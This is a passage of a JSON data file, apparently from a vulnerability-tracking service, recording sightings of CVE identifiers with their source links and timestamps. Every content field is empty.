"https://bsky.app/profile/beikokucyber.bsky.social/post/3lygmjgu5q42l", "content": "", "creation_timestamp": "2025-09-09T21:02:36.617613Z"}, {"uuid": "c39c1772-8748-4a84-a0bd-d0ca70e20e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50202", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lz7n37lmvk2q", "content": "", "creation_timestamp": "2025-09-19T19:48:56.813894Z"}, {"uuid": "57d76556-0280-4f18-bcd9-2a134256c86a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50612", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3lxsqwejd7k2s", "content": "", "creation_timestamp": "2025-09-01T23:28:00.633240Z"}, {"uuid": "3177f52a-05a5-4fad-9340-3646b1016793", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50338", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:03.000000Z"}, {"uuid": "07370449-64e3-44d3-89a1-8061d1f8a077", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50803", "type": "seen", "source": "MISP/1c5c38d6-3401-41ac-be0e-4cf361fa6f51", "content": "", "creation_timestamp": "2025-09-25T00:36:28.000000Z"}, {"uuid": "088bb149-f8b0-4f70-929e-f03c3aa01f26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50285", "type": "seen", "source": "https://gist.github.com/Darkcrai86/45d158611b4db1aace5cbd8bd2963b4d", "content": "", "creation_timestamp": "2025-09-02T09:21:42.000000Z"}, {"uuid": "97840a8f-7c2f-4e90-9052-f8241c1b27a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50848", "type": "seen", "source": "MISP/1c5c38d6-3401-41ac-be0e-4cf361fa6f51", "content": "", "creation_timestamp": "2025-09-25T00:36:28.000000Z"}, {"uuid": "313d1e26-35cd-4157-b30e-d6448a3b697f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50849", "type": "seen", "source": "MISP/1c5c38d6-3401-41ac-be0e-4cf361fa6f51", "content": "", "creation_timestamp": "2025-09-25T00:36:28.000000Z"}, {"uuid": "8b84fbbc-3724-4b23-b3fd-1926d72b0169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://gist.github.com/Darkcrai86/ce5cf5cbfd04bd761006e6a46cfe1aff", "content": "", "creation_timestamp": "2025-09-02T15:35:22.000000Z"}, {"uuid": "f02adaa2-826e-4632-b126-205e7d8e99b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lxui5zuxgi25", "content": "", "creation_timestamp": "2025-09-02T15:56:30.151517Z"}, {"uuid": "6d60f105-dc79-49a6-aea2-7d3eaf9c0e96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3lxuzoqr7c32n", "content": "", "creation_timestamp": "2025-09-02T21:10:05.744828Z"}, {"uuid": "230f10c7-83c1-4f66-aaee-c2669d707cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxv5smw6dn2e", "content": "", "creation_timestamp": "2025-09-02T22:23:50.205239Z"}, {"uuid": "bf42b003-f230-40ff-91e0-d7ce9323176b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxvvfj5iex22", "content": "", "creation_timestamp": "2025-09-03T05:26:01.638560Z"}, {"uuid": "d7701448-7afb-44df-b14f-ec70911f8fac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3lxvvvpumg22e", "content": "", "creation_timestamp": "2025-09-03T05:35:08.578849Z"}, {"uuid": "df16d59d-6aa2-4b43-8efa-8dbdf702e4d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3lxw343hxo42o", "content": "", "creation_timestamp": "2025-09-03T07:08:05.959940Z"}, {"uuid": "dabf5890-9ce0-4a70-b0b5-30fea4114529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3lxw3amcnsc2d", "content": "", "creation_timestamp": "2025-09-03T07:10:37.603732Z"}, {"uuid": "39ab8e23-55f5-4202-ad81-6da30f0b95d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/u24usa.bsky.social/post/3lxw3hcbbrr2v", "content": "", "creation_timestamp": "2025-09-03T07:14:21.506745Z"}, {"uuid": "ded6086d-f8a8-4527-84ed-e28c7abd8d3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hackernewsbot.bsky.social/post/3lxw3rhyrcq2z", "content": "", "creation_timestamp": "2025-09-03T07:20:03.314122Z"}, {"uuid": "0bed4fa1-44fb-4f12-85e7-b82b96ee379b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3lxw4ck7bkn2x", "content": "", "creation_timestamp": "2025-09-03T07:29:36.727620Z"}, {"uuid": "04bd7779-86ff-4efd-9676-3153a5646a9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3lxw4e7dwz22b", "content": "", "creation_timestamp": "2025-09-03T07:30:31.981808Z"}, {"uuid": "f06ea5c7-e909-4256-88e7-173cfbebe255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/betterhn20.e-work.xyz/post/3lxw5f5yshv2a", "content": "", "creation_timestamp": "2025-09-03T07:48:57.390129Z"}, {"uuid": "5306300f-1080-4db4-a04d-7aae5b5977de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/news.facts.dev/post/3lxw7u5gpxh2n", "content": "", "creation_timestamp": "2025-09-03T08:33:08.776859Z"}, {"uuid": "086b2340-fe84-4cd4-b7b1-011e7dbe4fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/betterhn50.e-work.xyz/post/3lxwa6lgxhf2e", "content": "", "creation_timestamp": "2025-09-03T08:38:58.199926Z"}, {"uuid": "483a8b04-4eaa-4c04-b5f7-ccd6f9e8b392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hackernewsrobot.bsky.social/post/3lxwaz3vs3k2u", "content": "", "creation_timestamp": "2025-09-03T08:53:48.895771Z"}, {"uuid": "704fdf0c-dd28-4b2b-9fd0-72b2d7f70d18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/ycombinatorbot.bsky.social/post/3lxwbexchan2n", "content": "", "creation_timestamp": "2025-09-03T09:00:25.408087Z"}, {"uuid": "4d5f4c51-c67c-40d2-992b-ccd2a157e5ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxwcwoqufl2v", "content": "", "creation_timestamp": "2025-09-03T09:28:14.289331Z"}, {"uuid": "a51222a4-aacf-4c78-aae0-733a89b8638f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lxwcwsvvhs42", "content": "", "creation_timestamp": "2025-09-03T09:28:23.426360Z"}, {"uuid": "1a60096c-6148-4b45-9230-f6579fbb395d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50353", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "d769f036-1805-41de-a5f6-4c59347790d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50387", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "c3864ed3-6047-49f2-b59c-84f2bcca79e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "seen", "source": "MISP/1c5c38d6-3401-41ac-be0e-4cf361fa6f51", "content": "", "creation_timestamp": "2025-09-25T00:36:29.000000Z"}, {"uuid": "0b5c0218-bb13-4044-8de1-07a06679c793", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/ycombinatorbot.bsky.social/post/3lxweqblxsx2m", "content": "", "creation_timestamp": "2025-09-03T10:00:26.859338Z"}, {"uuid": "10df7a19-a80d-4084-b08c-6aca6d42dbaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50457", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "63d11bc8-10a0-4537-9897-a3ddc913f471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50453", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "e16c25f5-2c28-4198-b74d-b561b7bf1bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hnews.southla.social/post/3lxwfkgvnes2e", "content": "", "creation_timestamp": "2025-09-03T10:15:04.604811Z"}, {"uuid": "374a3f43-4041-4efa-9938-92d96f9aba08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50437", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "e72beeb2-a9fe-4883-af7d-53f6ab9731c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5084", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_hash_form_rce.rb", "content": "", "creation_timestamp": "2024-06-05T08:42:42.000000Z"}, {"uuid": "865a846f-f76f-4c78-9c0f-f5ec994c540f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50581", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "3f7eaa70-5d8d-4df3-a75e-951988c5f455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50582", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "1af5ac11-a1dc-4a76-970a-cbff9f39f451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50580", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "6245c2b0-4d7f-4af8-9e6a-2683932f810f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50497", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "d3eadb37-b84a-455f-aa5a-3651065ff9e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50465", "type": "seen", "source": "MISP/af790da0-9e28-4cb7-bd4e-46ad005115c6", "content": "", "creation_timestamp": "2025-10-01T18:11:57.000000Z"}, {"uuid": "8389ac79-1b44-4560-ad4a-b240d51c06dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxwg2777o72k", "content": "", "creation_timestamp": "2025-09-03T10:23:53.352577Z"}, {"uuid": "cd855dc0-9d95-4575-acff-6c3836c4836d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3lxwgfjzi7t2a", "content": "", "creation_timestamp": "2025-09-03T10:30:15.055856Z"}, {"uuid": "b2133592-aa5f-49a4-93cc-baa61cd010fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxwgo7fsf22e", "content": "", "creation_timestamp": "2025-09-03T10:35:04.565721Z"}, {"uuid": "89d3a326-7cb5-420b-b46a-63b987bda2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/mm-hacker-news.bsky.social/post/3lxwgojg6kv2b", "content": "", "creation_timestamp": "2025-09-03T10:35:15.044407Z"}, {"uuid": "e6f428f6-b5fd-4562-bbc5-e164f2c0fbb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hot.hn/post/3lxwgolhaha2x", "content": "", "creation_timestamp": "2025-09-03T10:35:17.245264Z"}, {"uuid": "5dbebca7-1493-47c4-8bab-9af76c3d5ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxwhqz4emj2a", "content": "", "creation_timestamp": "2025-09-03T10:54:32.622355Z"}, {"uuid": "3810f2c5-2859-4227-895a-85d24f772d2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lxwhr5rhpsi2", "content": "", "creation_timestamp": "2025-09-03T10:54:46.656400Z"}, {"uuid": "eab00e9c-4aa8-4e03-aec6-41c1d9fa409f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/ycombinatorbot.bsky.social/post/3lxwi3jsye62k", "content": "", "creation_timestamp": "2025-09-03T11:00:25.619601Z"}, {"uuid": "c41126c0-ad23-4a7f-99e4-ac7b38db61e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/newsycombinatorbot.bsky.social/post/3lxwigqpu7q27", "content": "", "creation_timestamp": "2025-09-03T11:06:42.760601Z"}, {"uuid": "efa1b515-fae3-45c9-8ed5-23df43189d82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/appsecfeed.bsky.social/post/3lxwjqt5xd22y", "content": "", "creation_timestamp": "2025-09-03T11:30:13.781644Z"}, {"uuid": "24f0bc71-7aed-4043-8ccf-138f1bd42d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/appsecfeed.bsky.social/post/3lxwjw7pkjq24", "content": "", "creation_timestamp": "2025-09-03T11:33:14.518384Z"}, {"uuid": "0a3a8e44-08c6-4600-b993-0765d2d9ddac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/wocke.bsky.social/post/3lxwkvv5w3k2t", "content": "", "creation_timestamp": "2025-09-03T11:51:00.224042Z"}, {"uuid": "b2791489-17ac-4962-8c7f-404196869b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hacker-news.bsky.social/post/3lxwky626zs2r", "content": "", "creation_timestamp": "2025-09-03T11:52:14.360817Z"}, {"uuid": "4126a6e8-026e-428a-8b9a-d5a8a3f61e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/netalexx.bsky.social/post/3lxwldrh5b22o", "content": "", "creation_timestamp": "2025-09-03T11:58:47.280671Z"}, {"uuid": "a8300c7f-1b8c-4451-8b69-924812b13be8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lxwntf4m3a2q", "content": "", "creation_timestamp": "2025-09-03T12:43:15.355831Z"}, {"uuid": "d2d53fa2-b8f8-4ba7-bb6b-66ef679e0e5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lxwq4qt3bn2v", "content": "", "creation_timestamp": "2025-09-03T13:24:17.155965Z"}, {"uuid": "1ca97c75-eae5-4137-9b69-2a87ae1f683f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/hnfeed.bsky.social/post/3lxwsc5sa6q27", "content": "", "creation_timestamp": "2025-09-03T14:03:05.320294Z"}, {"uuid": "800d81c2-08dc-48ab-b47a-b652c229bf88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lxwv65qga62v", "content": "", "creation_timestamp": "2025-09-03T14:54:32.052064Z"}, {"uuid": "657e9f4f-e869-49e2-88e0-4a92de0555cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3lxwvw5iwgw2t", "content": "", "creation_timestamp": "2025-09-03T15:07:57.198838Z"}, {"uuid": "ce7bd9c8-2e0b-444e-8967-4dde78b35c25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://gist.github.com/Darkcrai86/ba03b550867df29f318d54ffcd9bb7f3", "content": "", "creation_timestamp": "2025-09-03T17:21:44.000000Z"}, {"uuid": "dfaedcc5-73b1-4e66-93cf-5c352c001ba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/newsyc200.bsky.social/post/3lxx75y2npk2c", "content": "", "creation_timestamp": "2025-09-03T17:53:23.548763Z"}, {"uuid": "ccc32732-443b-4c11-aadd-8314a377b8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/jurassiquehack.bsky.social/post/3lxxrdp6zdk2s", "content": "", "creation_timestamp": "2025-09-03T23:18:48.064296Z"}, {"uuid": "98d400e4-b98d-498c-ab24-d5d5ddb7c305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/axcheron.bsky.social/post/3lxxrev5z7s2s", "content": "", "creation_timestamp": "2025-09-03T23:19:26.828365Z"}, {"uuid": "90ec3b62-053d-400b-9cb6-96fb50dcbeff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lxy2urp36l2b", "content": "", "creation_timestamp": "2025-09-04T02:09:20.055275Z"}, {"uuid": "9dec20e3-fa4d-4f09-b46c-2ede3e723bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50944", "type": "seen", "source": "MISP/dd71e3c5-20f7-409a-8bcc-8df3cd8022a7", "content": "", "creation_timestamp": "2025-09-03T13:30:06.000000Z"}, {"uuid": "507d927a-0292-4e32-9a99-a110992aec44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50945", "type": "seen", "source": "MISP/dd71e3c5-20f7-409a-8bcc-8df3cd8022a7", "content": "", "creation_timestamp": "2025-09-03T13:30:06.000000Z"}, {"uuid": "6f42619d-0c32-49b1-ab5c-49cd93bf54e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3lxzm6j7lvc2s", "content": "", "creation_timestamp": "2025-09-04T16:55:59.959448Z"}, {"uuid": "5cc34219-ee79-4102-a6cb-e8145d8a6536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3lxzm6mlzmk2s", "content": "", "creation_timestamp": "2025-09-04T16:56:00.500787Z"}, {"uuid": "792067de-9c32-4ddd-8d89-b3406e3f9275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3lxzu7r7r522p", "content": "", "creation_timestamp": "2025-09-04T19:15:37.845672Z"}, {"uuid": "4e1e9fd4-8ba2-40a9-92be-2463c83338f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50264", "type": "seen", "source": "https://bsky.app/profile/linkersec.bsky.social/post/3lxzu7uf6as2p", "content": "", "creation_timestamp": "2025-09-04T19:15:38.532246Z"}, {"uuid": "e7e4f2cd-70dd-4123-a35c-09e1f0f4bbf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5035", "type": "seen", "source": "https://bsky.app/profile/insightsintothings.com/post/3ly45twwe4c2o", "content": "", "creation_timestamp": "2025-09-05T17:13:13.308034Z"}, {"uuid": "ac237999-d685-4f1f-8e5a-7cfd51f9ea06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5084", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3m7arw5kerj2t", "content": "", "creation_timestamp": "2025-12-05T15:19:21.202199Z"}, {"uuid": "86379bde-5fff-4f99-b198-9c22833b1e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 